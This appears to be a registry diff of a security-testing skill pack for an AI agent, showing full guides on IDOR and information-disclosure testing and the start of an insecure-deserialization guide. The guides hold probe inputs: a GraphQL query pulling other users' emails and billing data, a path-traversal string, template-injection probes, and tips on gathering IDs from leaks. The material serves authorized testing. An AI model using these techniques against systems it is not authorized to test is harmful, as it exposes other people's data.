@gpzhang2001/sharpkit-skills 0.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +201 -0
- package/README.md +12 -0
- package/THIRD_PARTY_NOTICES.md +48 -0
- package/lib/index.d.ts +2027 -0
- package/lib/index.d.ts.map +1 -0
- package/lib/index.js +70 -0
- package/lib/index.js.map +1 -0
- package/package.json +46 -0
- package/skills/analysis/counterevidence.md +185 -0
- package/skills/analysis/fix_verification.md +129 -0
- package/skills/analysis/severity_calibration.md +130 -0
- package/skills/analysis/source_aware_discovery.md +211 -0
- package/skills/cloud/aws.md +231 -0
- package/skills/cloud/azure.md +262 -0
- package/skills/cloud/gcp.md +194 -0
- package/skills/cloud/kubernetes.md +223 -0
- package/skills/coordination/root_agent.md +105 -0
- package/skills/coordination/source_aware_whitebox.md +47 -0
- package/skills/custom/api_spec_testing.md +61 -0
- package/skills/custom/dependency_cve_scanning.md +341 -0
- package/skills/custom/npx_confusion.md +233 -0
- package/skills/custom/source_aware_sast.md +192 -0
- package/skills/frameworks/django.md +214 -0
- package/skills/frameworks/fastapi.md +191 -0
- package/skills/frameworks/nestjs.md +225 -0
- package/skills/frameworks/nextjs.md +228 -0
- package/skills/protocols/graphql.md +276 -0
- package/skills/protocols/oauth.md +185 -0
- package/skills/reconnaissance/asset_discovery.md +150 -0
- package/skills/reconnaissance/infrastructure_lifecycle.md +226 -0
- package/skills/scan_modes/deep.md +164 -0
- package/skills/scan_modes/diff.md +86 -0
- package/skills/scan_modes/quick.md +68 -0
- package/skills/scan_modes/standard.md +99 -0
- package/skills/technologies/active_directory.md +233 -0
- package/skills/technologies/auth0.md +188 -0
- package/skills/technologies/electron_desktop_apps.md +181 -0
- package/skills/technologies/firebase.md +263 -0
- package/skills/technologies/grafana_prometheus.md +189 -0
- package/skills/technologies/llm_applications.md +257 -0
- package/skills/technologies/supabase.md +268 -0
- package/skills/tooling/agent_browser.md +551 -0
- package/skills/tooling/ffuf.md +72 -0
- package/skills/tooling/httpx.md +82 -0
- package/skills/tooling/hurl.md +99 -0
- package/skills/tooling/hypothesis.md +100 -0
- package/skills/tooling/katana.md +102 -0
- package/skills/tooling/naabu.md +68 -0
- package/skills/tooling/nmap.md +66 -0
- package/skills/tooling/nuclei.md +67 -0
- package/skills/tooling/python.md +109 -0
- package/skills/tooling/semgrep.md +72 -0
- package/skills/tooling/sqlmap.md +67 -0
- package/skills/tooling/subfinder.md +66 -0
- package/skills/vulnerabilities/agentic_system_security.md +207 -0
- package/skills/vulnerabilities/argument_injection.md +157 -0
- package/skills/vulnerabilities/authentication_jwt.md +166 -0
- package/skills/vulnerabilities/broken_function_level_authorization.md +154 -0
- package/skills/vulnerabilities/browser_security.md +192 -0
- package/skills/vulnerabilities/business_logic.md +178 -0
- package/skills/vulnerabilities/csrf.md +198 -0
- package/skills/vulnerabilities/header_injection.md +216 -0
- package/skills/vulnerabilities/http_request_smuggling.md +255 -0
- package/skills/vulnerabilities/idor.md +217 -0
- package/skills/vulnerabilities/information_disclosure.md +187 -0
- package/skills/vulnerabilities/insecure_deserialization.md +210 -0
- package/skills/vulnerabilities/insecure_file_uploads.md +194 -0
- package/skills/vulnerabilities/llm_prompt_injection.md +187 -0
- package/skills/vulnerabilities/mass_assignment.md +153 -0
- package/skills/vulnerabilities/nosql_injection.md +288 -0
- package/skills/vulnerabilities/open_redirect.md +165 -0
- package/skills/vulnerabilities/path_traversal_lfi_rfi.md +218 -0
- package/skills/vulnerabilities/prototype_pollution.md +142 -0
- package/skills/vulnerabilities/race_conditions.md +181 -0
- package/skills/vulnerabilities/rce.md +250 -0
- package/skills/vulnerabilities/semantic_confusion.md +189 -0
- package/skills/vulnerabilities/sql_injection.md +190 -0
- package/skills/vulnerabilities/ssrf.md +186 -0
- package/skills/vulnerabilities/ssti.md +270 -0
- package/skills/vulnerabilities/subdomain_takeover.md +167 -0
- package/skills/vulnerabilities/weak_password_detection.md +200 -0
- package/skills/vulnerabilities/xss.md +206 -0
- package/skills/vulnerabilities/xxe.md +223 -0
- package/src/index.ts +89 -0
|
@@ -0,0 +1,217 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: idor
|
|
3
|
+
description: IDOR/BOLA testing for object-level authorization failures and cross-account data access
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# IDOR
|
|
7
|
+
|
|
8
|
+
Object-level authorization failures (BOLA/IDOR) lead to cross-account data exposure and unauthorized state changes across APIs, web, mobile, and microservices. Treat every object reference as untrusted until proven bound to the caller.
|
|
9
|
+
|
|
10
|
+
## Attack Surface
|
|
11
|
+
|
|
12
|
+
**Scope**
|
|
13
|
+
- Horizontal access: access another subject's objects of the same type
|
|
14
|
+
- Vertical access: access privileged objects/actions (admin-only, staff-only)
|
|
15
|
+
- Cross-tenant access: break isolation boundaries in multi-tenant systems
|
|
16
|
+
- Cross-service access: token or context accepted by the wrong service
|
|
17
|
+
|
|
18
|
+
**Reference Locations**
|
|
19
|
+
- Paths, query params, JSON bodies, form-data, headers, cookies
|
|
20
|
+
- JWT claims, GraphQL arguments, WebSocket messages, gRPC messages
|
|
21
|
+
|
|
22
|
+
**Identifier Forms**
|
|
23
|
+
- Integers, UUID/ULID/CUID, Snowflake, slugs
|
|
24
|
+
- Composite keys (e.g., `{orgId}:{userId}`)
|
|
25
|
+
- Opaque tokens, base64/hex-encoded blobs
|
|
26
|
+
|
|
27
|
+
**Relationship References**
|
|
28
|
+
- parentId, ownerId, accountId, tenantId, organization, teamId, projectId, subscriptionId
|
|
29
|
+
|
|
30
|
+
**Expansion/Projection Knobs**
|
|
31
|
+
- `fields`, `include`, `expand`, `projection`, `with`, `select`, `populate`
|
|
32
|
+
- Often bypass authorization in resolvers or serializers
|
|
33
|
+
|
|
34
|
+
## High-Value Targets
|
|
35
|
+
|
|
36
|
+
- Exports/backups/reporting endpoints (CSV/PDF/ZIP)
|
|
37
|
+
- Messaging/mailbox/notifications, audit logs, activity feeds
|
|
38
|
+
- Billing: invoices, payment methods, transactions, credits
|
|
39
|
+
- Healthcare/education records, HR documents, PII/PHI/PCI
|
|
40
|
+
- Admin/staff tools, impersonation/session management
|
|
41
|
+
- File/object storage keys (S3/GCS signed URLs, share links)
|
|
42
|
+
- Background jobs: import/export job IDs, task results
|
|
43
|
+
- Multi-tenant resources: organizations, workspaces, projects
|
|
44
|
+
|
|
45
|
+
## Reconnaissance
|
|
46
|
+
|
|
47
|
+
**Parameter Analysis**
|
|
48
|
+
- Pagination/cursors: `page[offset]`, `page[limit]`, `cursor`, `nextPageToken` (often reveal or accept cross-tenant/state)
|
|
49
|
+
- Directory/list endpoints as seeders: search/list/suggest/export often leak object IDs for secondary exploitation
|
|
50
|
+
- Find undocumented params with `arjun -u <url>` (GET) or `arjun -u <url> -m POST` —
|
|
51
|
+
surfaces hidden filters like `?include_deleted=1`, `?as_user=…`, `?owner_id=…`
|
|
52
|
+
that frequently widen the IDOR surface.
|
|
53
|
+
|
|
54
|
+
**Enumeration Techniques**
|
|
55
|
+
- Alternate types: `{"id":123}` vs `{"id":"123"}`, arrays vs scalars, objects vs scalars
|
|
56
|
+
- Edge values: null/empty/0/-1/MAX_INT, scientific notation, overflows
|
|
57
|
+
- Duplicate keys/parameter pollution: `id=1&id=2`, JSON duplicate keys `{"id":1,"id":2}` (parser precedence)
|
|
58
|
+
- Case/aliasing: userId vs userid vs USER_ID; alt names like resourceId, targetId, account
|
|
59
|
+
- Path traversal-like in virtual file systems: `/files/user_123/../../user_456/report.csv`
|
|
60
|
+
|
|
61
|
+
**UUID/Opaque ID Sources**
|
|
62
|
+
- Logs, exports, JS bundles, analytics endpoints, emails, public activity
|
|
63
|
+
- Time-based IDs (UUIDv1, ULID) may be guessable within a window
|
|
64
|
+
|
|
65
|
+
## Key Vulnerabilities
|
|
66
|
+
|
|
67
|
+
### Horizontal & Vertical Access
|
|
68
|
+
|
|
69
|
+
- Swap object IDs between principals using the same token to probe horizontal access
|
|
70
|
+
- Repeat with lower-privilege tokens to probe vertical access
|
|
71
|
+
- Target partial updates (PATCH, JSON Patch/JSON Merge Patch) for silent unauthorized modifications
|
|
72
|
+
|
|
73
|
+
### Bulk & Batch Operations
|
|
74
|
+
|
|
75
|
+
- Batch endpoints (bulk update/delete) often validate only the first element; include cross-tenant IDs mid-array
|
|
76
|
+
- CSV/JSON imports referencing foreign object IDs (ownerId, orgId) may bypass create-time checks
|
|
77
|
+
|
|
78
|
+
### Secondary IDOR
|
|
79
|
+
|
|
80
|
+
- Use list/search endpoints, notifications, emails, webhooks, and client logs to collect valid IDs
|
|
81
|
+
- Fetch or mutate those objects directly
|
|
82
|
+
- Pagination/cursor manipulation to skip filters and pull other users' pages
|
|
83
|
+
|
|
84
|
+
### Job/Task Objects
|
|
85
|
+
|
|
86
|
+
- Access job/task IDs from one user to retrieve results for another (`export/{jobId}/download`, `reports/{taskId}`)
|
|
87
|
+
- Cancel/approve someone else's jobs by referencing their task IDs
|
|
88
|
+
|
|
89
|
+
### File/Object Storage
|
|
90
|
+
|
|
91
|
+
- Direct object paths or weakly scoped signed URLs
|
|
92
|
+
- Attempt key prefix changes, content-disposition tricks, or stale signatures reused across tenants
|
|
93
|
+
- Replace share tokens with tokens from other tenants; try case/URL-encoding variations
|
|
94
|
+
|
|
95
|
+
### GraphQL
|
|
96
|
+
|
|
97
|
+
- Enforce resolver-level checks: do not rely on a top-level gate
|
|
98
|
+
- Verify field and edge resolvers bind the resource to the caller on every hop
|
|
99
|
+
- Abuse batching/aliases to retrieve multiple users' nodes in one request
|
|
100
|
+
- Global node patterns (Relay): decode base64 IDs and swap raw IDs
|
|
101
|
+
- Overfetching via fragments on privileged types
|
|
102
|
+
|
|
103
|
+
```graphql
|
|
104
|
+
query IDOR {
|
|
105
|
+
me { id }
|
|
106
|
+
u1: user(id: "VXNlcjo0NTY=") { email billing { last4 } }
|
|
107
|
+
u2: node(id: "VXNlcjo0NTc=") { ... on User { email } }
|
|
108
|
+
}
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
### Microservices & Gateways
|
|
112
|
+
|
|
113
|
+
- Token confusion: token scoped for Service A accepted by Service B due to shared JWT verification but missing audience/claims checks
|
|
114
|
+
- Trust on headers: reverse proxies or API gateways injecting/trusting headers like `X-User-Id`, `X-Organization-Id`; try overriding or removing them
|
|
115
|
+
- Context loss: async consumers (queues, workers) re-process requests without re-checking authorization
|
|
116
|
+
|
|
117
|
+
### Multi-Tenant
|
|
118
|
+
|
|
119
|
+
- Probe tenant scoping through headers, subdomains, and path params (`X-Tenant-ID`, org slug)
|
|
120
|
+
- Try mixing org of token with resource from another org
|
|
121
|
+
- Test cross-tenant reports/analytics rollups and admin views which aggregate multiple tenants
|
|
122
|
+
|
|
123
|
+
### WebSocket
|
|
124
|
+
|
|
125
|
+
- Authorization per-subscription: ensure channel/topic names cannot be guessed (`user_{id}`, `org_{id}`)
|
|
126
|
+
- Subscribe/publish checks must run server-side, not only at handshake
|
|
127
|
+
- Try sending messages with target user IDs after subscribing to own channels
|
|
128
|
+
|
|
129
|
+
### gRPC
|
|
130
|
+
|
|
131
|
+
- Direct protobuf fields (`owner_id`, `tenant_id`) often bypass HTTP-layer middleware
|
|
132
|
+
- Validate references via grpcurl with tokens from different principals
|
|
133
|
+
|
|
134
|
+
### Integrations
|
|
135
|
+
|
|
136
|
+
- Webhooks/callbacks referencing foreign objects (e.g., `invoice_id`) processed without verifying ownership
|
|
137
|
+
- Third-party importers syncing data into wrong tenant due to missing tenant binding
|
|
138
|
+
|
|
139
|
+
## Bypass Techniques
|
|
140
|
+
|
|
141
|
+
**Parser & Transport**
|
|
142
|
+
- Content-type switching: `application/json` ↔ `application/x-www-form-urlencoded` ↔ `multipart/form-data`
|
|
143
|
+
- Method tunneling: `X-HTTP-Method-Override`, `_method=PATCH`; or using GET on endpoints incorrectly accepting state changes
|
|
144
|
+
- JSON duplicate keys/array injection to bypass naive validators
|
|
145
|
+
|
|
146
|
+
**Parameter Pollution**
|
|
147
|
+
- Duplicate parameters in query/body to influence server-side precedence (`id=123&id=456`); try both orderings
|
|
148
|
+
- Mix case/alias param names so gateway and backend disagree (userId vs userid)
|
|
149
|
+
|
|
150
|
+
**Cache & Gateway**
|
|
151
|
+
- CDN/proxy key confusion: responses keyed without Authorization or tenant headers expose cached objects to other users
|
|
152
|
+
- Manipulate Vary and Accept headers
|
|
153
|
+
- Redirect chains and 304/206 behaviors can leak content across tenants
|
|
154
|
+
|
|
155
|
+
**Race Windows**
|
|
156
|
+
- Time-of-check vs time-of-use: change the referenced ID between validation and execution using parallel requests
|
|
157
|
+
|
|
158
|
+
**Blind Channels**
|
|
159
|
+
- Use differential responses (status, size, ETag, timing) to detect existence
|
|
160
|
+
- Error shape often differs for owned vs foreign objects
|
|
161
|
+
- HEAD/OPTIONS, conditional requests (`If-None-Match`/`If-Modified-Since`) can confirm existence without full content
|
|
162
|
+
|
|
163
|
+
## Chaining Attacks
|
|
164
|
+
|
|
165
|
+
- IDOR + CSRF: force victims to trigger unauthorized changes on objects you discovered
|
|
166
|
+
- IDOR + Stored XSS: pivot into other users' sessions through data you gained access to
|
|
167
|
+
- IDOR + SSRF: exfiltrate internal IDs, then access their corresponding resources
|
|
168
|
+
- IDOR + Race: bypass spot checks with simultaneous requests
|
|
169
|
+
|
|
170
|
+
## Testing Methodology
|
|
171
|
+
|
|
172
|
+
1. **Build matrix** - Subject × Object × Action matrix (who can do what to which resource)
|
|
173
|
+
2. **Obtain principals** - At least two: owner and non-owner (plus admin/staff if applicable)
|
|
174
|
+
3. **Collect IDs** - Capture at least one valid object ID per principal from list/search/export endpoints
|
|
175
|
+
4. **Cross-channel testing** - Exercise every action (R/W/D/Export) while swapping IDs, tokens, tenants
|
|
176
|
+
5. **Transport variation** - Test across web, mobile, API, GraphQL, WebSocket, gRPC
|
|
177
|
+
6. **Consistency check** - Same rule must hold regardless of transport, content-type, serialization, or gateway
|
|
178
|
+
|
|
179
|
+
## Validation
|
|
180
|
+
|
|
181
|
+
1. Demonstrate access to an object not owned by the caller (content or metadata)
|
|
182
|
+
2. Show the same request fails with appropriately enforced authorization when corrected
|
|
183
|
+
3. Prove cross-channel consistency: same unauthorized access via at least two transports (e.g., REST and GraphQL)
|
|
184
|
+
4. Document tenant boundary violations (if applicable)
|
|
185
|
+
5. Provide reproducible steps and evidence (requests/responses for owner vs non-owner)
|
|
186
|
+
|
|
187
|
+
## False Positives
|
|
188
|
+
|
|
189
|
+
- Public/anonymous resources by design
|
|
190
|
+
- Soft-privatized data where content is already public
|
|
191
|
+
- Idempotent metadata lookups that do not reveal sensitive content
|
|
192
|
+
- Correct row-level checks enforced across all channels
|
|
193
|
+
- Empty array / null returned for another user's resource — silent enforcement, not exposure; compare against the owner's view to confirm the data is actually missing rather than just hidden from the response shape
|
|
194
|
+
|
|
195
|
+
## Impact
|
|
196
|
+
|
|
197
|
+
- Cross-account data exposure (PII/PHI/PCI)
|
|
198
|
+
- Unauthorized state changes (transfers, role changes, cancellations)
|
|
199
|
+
- Cross-tenant data leaks violating contractual and regulatory boundaries
|
|
200
|
+
- Regulatory risk (GDPR/HIPAA/PCI), fraud, reputational damage
|
|
201
|
+
|
|
202
|
+
## Pro Tips
|
|
203
|
+
|
|
204
|
+
1. Always test list/search/export endpoints first; they are rich ID seeders
|
|
205
|
+
2. Build a reusable ID corpus from logs, notifications, emails, and client bundles
|
|
206
|
+
3. Toggle content-types and transports; authorization middleware often differs per stack
|
|
207
|
+
4. In GraphQL, validate at resolver boundaries; never trust parent auth to cover children
|
|
208
|
+
5. In multi-tenant apps, vary org headers, subdomains, and path params independently
|
|
209
|
+
6. Check batch/bulk operations and background job endpoints; they frequently skip per-item checks
|
|
210
|
+
7. Inspect gateways for header trust and cache key configuration
|
|
211
|
+
8. Treat UUIDs as untrusted; obtain them via OSINT/leaks and test binding
|
|
212
|
+
9. Use timing/size/ETag differentials for blind confirmation when content is masked
|
|
213
|
+
10. Prove impact with precise before/after diffs and role-separated evidence
|
|
214
|
+
|
|
215
|
+
## Summary
|
|
216
|
+
|
|
217
|
+
Authorization must bind subject, action, and specific object on every request, regardless of identifier opacity or transport. If the binding is missing anywhere, the system is vulnerable.
|
|
@@ -0,0 +1,187 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: information-disclosure
|
|
3
|
+
description: Information disclosure testing covering error messages, debug endpoints, metadata leakage, and source exposure
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Information Disclosure
|
|
7
|
+
|
|
8
|
+
Information leaks accelerate exploitation by revealing code, configuration, identifiers, and trust boundaries. Treat every response byte, artifact, and header as potential intelligence. Minimize, normalize, and scope disclosure across all channels.
|
|
9
|
+
|
|
10
|
+
## Attack Surface
|
|
11
|
+
|
|
12
|
+
- Errors and exception pages: stack traces, file paths, SQL, framework versions
|
|
13
|
+
- Debug/dev tooling reachable in prod: debuggers, profilers, feature flags
|
|
14
|
+
- DVCS/build artifacts and temp/backup files: .git, .svn, .hg, .bak, .swp, archives
|
|
15
|
+
- Configuration and secrets: .env, phpinfo, appsettings.json, Docker/K8s manifests
|
|
16
|
+
- API schemas and introspection: OpenAPI/Swagger, GraphQL introspection, gRPC reflection
|
|
17
|
+
- Client bundles and source maps: webpack/Vite maps, embedded env, `__NEXT_DATA__`, static JSON
|
|
18
|
+
- Headers and response metadata: Server/X-Powered-By, tracing, ETag, Accept-Ranges, Server-Timing
|
|
19
|
+
- Storage/export surfaces: public buckets, signed URLs, export/download endpoints
|
|
20
|
+
- Observability/admin: /metrics, /actuator, /health, tracing UIs (Jaeger, Zipkin), Kibana, Admin UIs
|
|
21
|
+
- Directory listings and indexing: autoindex, sitemap/robots revealing hidden routes
|
|
22
|
+
|
|
23
|
+
## High-Value Surfaces
|
|
24
|
+
|
|
25
|
+
### Errors and Exceptions
|
|
26
|
+
|
|
27
|
+
- SQL/ORM errors: reveal table/column names, DBMS, query fragments
|
|
28
|
+
- Stack traces: absolute paths, class/method names, framework versions, developer emails
|
|
29
|
+
- Template engine probes: `{{7*7}}`, `${7*7}` identify templating stack
|
|
30
|
+
- JSON/XML parsers: type mismatches leak internal model names
|
|
31
|
+
|
|
32
|
+
### Debug and Env Modes
|
|
33
|
+
|
|
34
|
+
- Debug pages: Django DEBUG, Laravel Telescope, Rails error pages, Flask/Werkzeug debugger, ASP.NET customErrors Off
|
|
35
|
+
- Profiler endpoints: `/debug/pprof`, `/actuator`, `/_profiler`, custom `/debug` APIs
|
|
36
|
+
- Feature/config toggles exposed in JS or headers
|
|
37
|
+
|
|
38
|
+
### DVCS and Backups
|
|
39
|
+
|
|
40
|
+
- DVCS: `/.git/` (HEAD, config, index, objects), `.svn/entries`, `.hg/store` → reconstruct source and secrets
|
|
41
|
+
- Backups/temp: `.bak`/`.old`/`~`/`.swp`/`.swo`/`.tmp`/`.orig`, db dumps, zipped deployments
|
|
42
|
+
- Build artifacts: dist artifacts containing `.map`, env prints, internal URLs
|
|
43
|
+
|
|
44
|
+
### Configs and Secrets
|
|
45
|
+
|
|
46
|
+
- Classic: web.config, appsettings.json, settings.py, config.php, phpinfo.php
|
|
47
|
+
- Containers/cloud: Dockerfile, docker-compose.yml, Kubernetes manifests, service account tokens
|
|
48
|
+
- Credentials and connection strings; internal hosts and ports; JWT secrets
|
|
49
|
+
|
|
50
|
+
### API Schemas and Introspection
|
|
51
|
+
|
|
52
|
+
- OpenAPI/Swagger: `/swagger`, `/api-docs`, `/openapi.json` — enumerate hidden/privileged operations
|
|
53
|
+
- GraphQL: introspection enabled; field suggestions; error disclosure via invalid fields
|
|
54
|
+
- gRPC: server reflection exposing services/messages
|
|
55
|
+
|
|
56
|
+
### Client Bundles and Maps
|
|
57
|
+
|
|
58
|
+
- Source maps (`.map`) reveal original sources, comments, and internal logic
|
|
59
|
+
- Client env leakage: `NEXT_PUBLIC_`/`VITE_`/`REACT_APP_` variables; embedded secrets
|
|
60
|
+
- `__NEXT_DATA__` and pre-fetched JSON can include internal IDs, flags, or PII
|
|
61
|
+
|
|
62
|
+
### Headers and Response Metadata
|
|
63
|
+
|
|
64
|
+
- Fingerprinting: Server, X-Powered-By, X-AspNet-Version
|
|
65
|
+
- Tracing: X-Request-Id, traceparent, Server-Timing, debug headers
|
|
66
|
+
- Caching oracles: ETag/If-None-Match, Last-Modified/If-Modified-Since, Accept-Ranges/Range
|
|
67
|
+
|
|
68
|
+
### Storage and Exports
|
|
69
|
+
|
|
70
|
+
- Public object storage: S3/GCS/Azure blobs with world-readable ACLs or guessable keys
|
|
71
|
+
- Signed URLs: long-lived, weakly scoped, re-usable across tenants
|
|
72
|
+
- Export/report endpoints returning foreign data sets or unfiltered fields
|
|
73
|
+
|
|
74
|
+
### Observability and Admin
|
|
75
|
+
|
|
76
|
+
- Metrics: Prometheus `/metrics` exposing internal hostnames, process args
|
|
77
|
+
- Health/config: `/actuator/health`, `/actuator/env`, Spring Boot info endpoints
|
|
78
|
+
- Tracing UIs: Jaeger/Zipkin/Kibana/Grafana exposed without auth
|
|
79
|
+
|
|
80
|
+
### Cross-Origin Signals
|
|
81
|
+
|
|
82
|
+
- Referrer leakage: missing/weak referrer policy leading to path/query/token leaks to third parties
|
|
83
|
+
- CORS: overly permissive Access-Control-Allow-Origin/Expose-Headers revealing data cross-origin; preflight error shapes
|
|
84
|
+
|
|
85
|
+
### File Metadata
|
|
86
|
+
|
|
87
|
+
- EXIF, PDF/Office properties: authors, paths, software versions, timestamps, embedded objects
|
|
88
|
+
|
|
89
|
+
### Cloud Storage
|
|
90
|
+
|
|
91
|
+
- S3/GCS/Azure: anonymous listing disabled but object reads allowed; metadata headers leak owner/project identifiers
|
|
92
|
+
- Pre-signed URLs: audience not bound; observe key scope and lifetime in URL params
|
|
93
|
+
|
|
94
|
+
## Key Vulnerabilities
|
|
95
|
+
|
|
96
|
+
### Differential Oracles
|
|
97
|
+
|
|
98
|
+
- Compare owner vs non-owner vs anonymous for the same resource
|
|
99
|
+
- Track: status, length, ETag, Last-Modified, Cache-Control
|
|
100
|
+
- HEAD vs GET: header-only differences can confirm existence
|
|
101
|
+
- Conditional requests: 304 vs 200 behaviors leak existence/state
|
|
102
|
+
|
|
103
|
+
### CDN and Cache Keys
|
|
104
|
+
|
|
105
|
+
- Identity-agnostic caches: CDN/proxy keys missing Authorization/tenant headers
|
|
106
|
+
- Vary misconfiguration: user-agent/language vary without auth vary leaks content
|
|
107
|
+
- 206 partial content + stale caches leak object fragments
|
|
108
|
+
|
|
109
|
+
### Cross-Channel Mirroring
|
|
110
|
+
|
|
111
|
+
- Inconsistent hardening between REST, GraphQL, WebSocket, and gRPC
|
|
112
|
+
- SSR vs CSR: server-rendered pages omit fields while JSON API includes them
|
|
113
|
+
|
|
114
|
+
## Triage Rubric
|
|
115
|
+
|
|
116
|
+
- **Critical**: Direct disclosure of secrets that provide broad privileged control, with successful use validated where safe
|
|
117
|
+
- **High**: Direct disclosure of highly sensitive data, cross-tenant data, or credentials with serious demonstrated access
|
|
118
|
+
- **Medium**: Unauthorized access to a limited set of genuinely restricted data, or a fully validated chain from the disclosure to a concrete security consequence
|
|
119
|
+
- **Low**: Limited unauthorized disclosure with modest sensitivity and no serious direct consequence
|
|
120
|
+
- **Informational / no report**: Public or intended client data, generic headers, internal names or private addresses, versions without a reachable exploit, and source maps or diagnostics that expose no secrets or restricted source
|
|
121
|
+
|
|
122
|
+
Do not assign Confidentiality Low merely because information helps reconnaissance. CVSS C:L requires actual access to restricted information. If a path, hostname, version, source map, schema, or debug value only suggests a possible second vulnerability, either validate that complete chain and score its demonstrated outcome or leave C:N and omit the vulnerability report.
|
|
123
|
+
|
|
124
|
+
## Exploitation Chains
|
|
125
|
+
|
|
126
|
+
### Credential Extraction
|
|
127
|
+
- DVCS/config dumps exposing secrets (DB, SMTP, JWT, cloud)
|
|
128
|
+
- Keys → cloud control plane access
|
|
129
|
+
|
|
130
|
+
### Version to CVE
|
|
131
|
+
1. Derive precise component versions from headers/errors/bundles
|
|
132
|
+
2. Map to known CVEs and confirm reachability
|
|
133
|
+
3. Execute minimal proof targeting disclosed component
|
|
134
|
+
|
|
135
|
+
### Path Disclosure to LFI
|
|
136
|
+
1. Paths from stack traces/templates reveal filesystem layout
|
|
137
|
+
2. Use LFI/traversal to fetch config/keys
|
|
138
|
+
|
|
139
|
+
### Schema to Auth Bypass
|
|
140
|
+
1. Schema reveals hidden fields/endpoints
|
|
141
|
+
2. Attempt requests with those fields; confirm missing authorization
|
|
142
|
+
|
|
143
|
+
## Testing Methodology
|
|
144
|
+
|
|
145
|
+
1. **Build channel map** - Web, API, GraphQL, WebSocket, gRPC, mobile, background jobs, exports, CDN
|
|
146
|
+
2. **Establish diff harness** - Compare owner vs non-owner vs anonymous; normalize on status/body length/ETag/headers
|
|
147
|
+
3. **Trigger controlled failures** - Malformed types, boundary values, missing params, alternate content-types
|
|
148
|
+
4. **Enumerate artifacts** - DVCS folders, backups, config endpoints, source maps, client bundles, API docs
|
|
149
|
+
5. **Correlate to impact** - Versions→CVE, paths→LFI/RCE, keys→cloud access, schemas→auth bypass
|
|
150
|
+
|
|
151
|
+
## Validation
|
|
152
|
+
|
|
153
|
+
1. Provide raw evidence (headers/body/artifact) and explain exact data revealed
|
|
154
|
+
2. Determine intent: cross-check docs/UX; classify per triage rubric
|
|
155
|
+
3. Attempt minimal, reversible exploitation or present a concrete step-by-step chain
|
|
156
|
+
4. Show reproducibility and minimal request set
|
|
157
|
+
5. Bound scope (user, tenant, environment) and data sensitivity classification
|
|
158
|
+
6. Map each non-None CVSS impact metric to evidence of actual restricted disclosure, modification, or service interruption
|
|
159
|
+
|
|
160
|
+
## False Positives
|
|
161
|
+
|
|
162
|
+
- Intentional public docs or non-sensitive metadata with no exploit path
|
|
163
|
+
- Generic errors with no actionable details
|
|
164
|
+
- Redacted fields that do not change differential oracles
|
|
165
|
+
- Version banners with no exposed vulnerable surface and no chain
|
|
166
|
+
- Owner-visible-only details that do not cross identity/tenant boundaries
|
|
167
|
+
|
|
168
|
+
## Impact
|
|
169
|
+
|
|
170
|
+
- Accelerated exploitation of RCE/LFI/SSRF via precise versions and paths
|
|
171
|
+
- Credential/secret exposure leading to persistent external compromise
|
|
172
|
+
- Cross-tenant data disclosure through exports, caches, or mis-scoped signed URLs
|
|
173
|
+
- Privacy/regulatory violations and business intelligence leakage
|
|
174
|
+
|
|
175
|
+
## Pro Tips
|
|
176
|
+
|
|
177
|
+
1. Start with artifacts (DVCS, backups, maps) before payloads; artifacts yield the fastest wins
|
|
178
|
+
2. Normalize responses and diff by digest to reduce noise when comparing roles
|
|
179
|
+
3. Hunt source maps and client data JSON; they often carry internal IDs and flags
|
|
180
|
+
4. Probe caches/CDNs for identity-unaware keys; verify Vary includes Authorization/tenant
|
|
181
|
+
5. Treat introspection and reflection as configuration findings across GraphQL/gRPC
|
|
182
|
+
6. Mine observability endpoints last; they are noisy but high-yield in misconfigured setups
|
|
183
|
+
7. Chain quickly to a concrete risk and stop—proof should be minimal and reversible
|
|
184
|
+
|
|
185
|
+
## Summary
|
|
186
|
+
|
|
187
|
+
Information disclosure is an amplifier. Convert leaks into precise, minimal exploits or clear architectural risks.
|
|
@@ -0,0 +1,210 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: insecure-deserialization
|
|
3
|
+
description: Insecure deserialization testing for Java, Python, PHP, .NET, Ruby, and Node.js covering gadget chains, type confusion, and safe validation
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Insecure Deserialization
|
|
7
|
+
|
|
8
|
+
Insecure deserialization passes attacker-controlled byte streams or structured blobs to language-native unmarshal functions, enabling remote code execution, authentication bypass, and logic manipulation through magic methods and gadget chains. Test any endpoint accepting serialized objects, session blobs, or opaque binary tokens.
|
|
9
|
+
|
|
10
|
+
## Attack Surface
|
|
11
|
+
|
|
12
|
+
**Formats**
|
|
13
|
+
- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML), Hessian/Burlap, Kryo
|
|
14
|
+
- Python: `pickle`, `yaml.load` (unsafe), `marshal`, shelve
|
|
15
|
+
- PHP: `unserialize()`, Phar deserialization
|
|
16
|
+
- .NET: `BinaryFormatter`, `Json.NET TypeNameHandling`, ViewState
|
|
17
|
+
- Ruby: `Marshal.load`, YAML.load
|
|
18
|
+
- Node.js: `node-serialize`, `unserialize.js` (less common; see prototype_pollution for merge bugs)
|
|
19
|
+
|
|
20
|
+
**Transports and Containers**
|
|
21
|
+
- Java RMI/JMX, HTTP/RPC endpoints, messaging protocols, queues, signed wrappers, and product-specific binary envelopes can carry one or more formats above
|
|
22
|
+
|
|
23
|
+
**Input Locations**
|
|
24
|
+
- Cookies, session tokens, hidden form fields
|
|
25
|
+
- API parameters (`data`, `state`, `object`, base64 blobs)
|
|
26
|
+
- Message queues, WebSocket binary frames, file uploads
|
|
27
|
+
- Cache entries, database columns storing serialized objects
|
|
28
|
+
|
|
29
|
+
## Reconnaissance
|
|
30
|
+
|
|
31
|
+
**Detection Signals**
|
|
32
|
+
- Base64 blobs starting with magic bytes:
|
|
33
|
+
- Java: `ac ed 00 05` (hex `rO0` base64)
|
|
34
|
+
- PHP: `O:`, `a:`, `s:` prefixes after decode
|
|
35
|
+
- .NET BinaryFormatter: starts with `00 01 00 00 00 ff ff ff ff`
|
|
36
|
+
- `Content-Type` with binary or custom serialization
|
|
37
|
+
- Framework indicators: Java apps with Spring, Struts, JSF; PHP with Symfony sessions
|
|
38
|
+
|
|
39
|
+
**White-Box Indicators**
|
|
40
|
+
```
|
|
41
|
+
